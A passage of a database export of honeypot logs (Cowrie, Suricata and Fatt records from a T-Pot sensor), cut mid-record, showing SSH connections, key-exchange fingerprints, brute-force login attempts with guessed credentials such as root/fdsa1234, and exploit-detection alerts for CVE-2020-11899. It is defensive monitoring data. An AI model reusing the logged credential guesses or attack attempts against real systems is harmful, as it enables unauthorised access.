"voluntarycharles", "payload_printable": "................"}}	1	\N	\N	alert	\N	\N
26539	fe80:0000:0000:0000:319d:3e8f:a38d:b93f	109.199.241.180	Suricata	2021-09-20 14:12:35.100867+03	2021-09-20 14:15:13.403674+03	{"_id": "BQboAnwBvYTbRNuEXSKy", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:12:35.092180+0000", "pkts_toclient": 0, "pkts_toserver": 2, "bytes_toclient": 0, "bytes_toserver": 240}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA zero length padN option", "signature_id": 2200094}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:319d:3e8f:a38d:b93f", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 1775751756212244, "payload": "AAAAAQQAAAD/AgAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T11:12:35.100867Z", "@timestamp": "2021-09-20T11:12:35.100Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "................"}}	1	\N	\N	alert	\N	\N
26540	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:12:35.489481+03	2021-09-20 14:15:13.405646+03	{"_id": "DAboAnwBvYTbRNuEXyKC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:57010 (192.168.176.2:22) [session: 01cb298fd466]", "session": "01cb298fd466", "@version": "1", "protocol": "ssh", "src_port": 57010, "dest_port": 22, "timestamp": "2021-09-20T11:12:35.489481Z", "@timestamp": "2021-09-20T11:12:35.489Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
26541	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:12:34.76399+03	2021-09-20 14:15:13.406682+03	{"_id": "CwboAnwBvYTbRNuEXyKC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "91e801dc7626", "@version": "1", "duration": 2.728790044784546, "timestamp": "2021-09-20T11:12:34.763990Z", "@timestamp": "2021-09-20T11:12:34.763Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
26576	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:12:41.659488+03	2021-09-20 14:15:13.453647+03	{"_id": "SQboAnwBvYTbRNuEeiLf", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [root/fdsa1234] failed", "session": "a8689fca5224", "@version": "1", "password": "fdsa1234", "username": "root", "timestamp": "2021-09-20T11:12:41.659488Z", "@timestamp": "2021-09-20T11:12:41.659Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
26542	fe80:0000:0000:0000:319d:3e8f:a38d:b93f	109.199.241.180	Suricata	2021-09-20 14:12:35.79628+03	2021-09-20 14:15:13.408647+03	{"_id": "EgboAnwBvYTbRNuEYSKc", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:12:35.092180+0000", "pkts_toclient": 0, "pkts_toserver": 4, "bytes_toclient": 0, "bytes_toserver": 460}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA zero length padN option", "signature_id": 2200094}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:319d:3e8f:a38d:b93f", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 1775751756212244, "payload": "AAAAAwMAAAD/AgAAAAAAAAAAAAH/AAAAAwAAAP8FAAAAAAAAAAAAAAAAAAIDAAAA/wIAAAAAAAA=", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T11:12:35.796280Z", "@timestamp": "2021-09-20T11:12:35.796Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "........................................................"}}	1	\N	\N	alert	\N	\N
26543	160.44.201.156	109.199.241.180	Fatt	2021-09-20 14:12:31.143266+03	2021-09-20 14:15:13.409646+03	{"_id": "5wboAnwBvYTbRNuETyE4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 34908, "timestamp": "2021-09-20T11:12:31.143266", "@timestamp": "2021-09-20T11:12:31.143Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
26544	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:12:30.813385+03	2021-09-20 14:15:13.410675+03	{"_id": "7gboAnwBvYTbRNuETyHg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "7c122e826c61", "@version": "1", "timestamp": "2021-09-20T11:12:30.813385Z", "@timestamp": "2021-09-20T11:12:30.813Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
26545	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:12:32.314368+03	2021-09-20 14:15:13.412644+03	{"_id": "8AboAnwBvYTbRNuEUyEh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.110.220.49", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 41626, "timestamp": "2021-09-20T11:12:32.314368", "@timestamp": "2021-09-20T11:12:32.314Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
26546	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:12:32.032503+03	2021-09-20 14:15:13.413677+03	{"_id": "9gboAnwBvYTbRNuEUyHJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.110.220.49:41626 (192.168.176.2:22) [session: 91e801dc7626]", "session": "91e801dc7626", "@version": "1", "protocol": "ssh", "src_port": 41626, "dest_port": 22, "timestamp": "2021-09-20T11:12:32.032503Z", "@timestamp": "2021-09-20T11:12:32.032Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
26549	0000:0000:0000:0000:0000:0000:0000:0000	109.199.241.180	Suricata	2021-09-20 14:12:34.034236+03	2021-09-20 14:15:13.417675+03	{"_id": "_wboAnwBvYTbRNuEWSHJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:12:34.034236+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 78}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 1, "action": "allowed", "cve_id": "CVE-2020-11899", "category": "Attempted Administrator Privilege Gain", "metadata": {"created_at": ["2020_06_22"], "updated_at": ["2020_08_20"], "former_category": ["EXPLOIT"], "performance_impact": ["Significant"], "signature_severity": ["Major"]}, "severity": 1, "signature": "ET EXPLOIT Possible CVE-2020-11899 Multicast out-of-bound read", "signature_id": 2030387}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "0000:0000:0000:0000:0000:0000:0000:0000", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0001:ff8d:b93f", "flow_id": 1343789715326396, "payload": "AAAAAP6AAAAAAAAA", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 135, "timestamp": "2021-09-20T11:12:34.034236Z", "@timestamp": "2021-09-20T11:12:34.034Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "............"}}	1	\N	\N	alert	\N	\N
26550	fe80:0000:0000:0000:319d:3e8f:a38d:b93f	109.199.241.180	Suricata	2021-09-20 14:12:35.09218+03	2021-09-20 14:15:13.419647+03	{"_id": "AgboAnwBvYTbRNuEXSKy", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:12:35.092180+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 150}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 1, "action": "allowed", "cve_id": "CVE-2020-11899", "category": "Attempted Administrator Privilege Gain", "metadata": {"created_at": ["2020_06_22"], "updated_at": ["2020_08_20"], "former_category": ["EXPLOIT"], "performance_impact": ["Significant"], "signature_severity": ["Major"]}, "severity": 1, "signature": "ET EXPLOIT Possible CVE-2020-11899 Multicast out-of-bound read", "signature_id": 2030387}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:319d:3e8f:a38d:b93f", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 1775751756212244, "payload": "AAAABAQAAAD/AgAAAAAAAAAAAAH/AAAABAAAAP8CAAAAAAAAAAAAAf+NuT8EAAAA/wUAAAAAAAAAAAAAAAAAAgQAAAD/AgAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T11:12:35.092180Z", "@timestamp": "2021-09-20T11:12:35.092Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...........................................?................................"}}	1	\N	\N	alert	\N	\N
26551	157.245.53.4	109.199.241.180	Suricata	2021-09-20 14:12:35.978814+03	2021-09-20 14:15:13.420675+03	{"_id": "EAboAnwBvYTbRNuEYSKb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh2_1.9.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {"ip": "157.245.53.4", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "157.245.53.4", "dest_ip": "192.168.20.116", "flow_id": 433752717363560, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 43588, "dest_port": 22, "timestamp": "2021-09-20T11:12:35.978814Z", "@timestamp": "2021-09-20T11:12:35.978Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
26552	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:12:26.005512+03	2021-09-20 14:15:13.421646+03	{"_id": "uwboAnwBvYTbRNuEPCFU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.login.failed", "message": "login attempt [miner/miner] failed", "session": "de90c328c03b", "@version": "1", "password": "miner", "username": "miner", "timestamp": "2021-09-20T11:12:26.005512Z", "@timestamp": "2021-09-20T11:12:26.005Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
26553	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:12:27.900003+03	2021-09-20 14:15:13.423648+03	{"_id": "ygboAnwBvYTbRNuERCEm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "bbb3ae7627c6", "@version": "1", "timestamp": "2021-09-20T11:12:27.900003Z", "@timestamp": "2021-09-20T11:12:27.900Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
26555	116.110.220.49	109.199.241.180	Fatt	2021-09-20 14:12:28.628136+03	2021-09-20 14:15:13.425674+03	{"_id": "0QboAnwBvYTbRNuERyFn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": 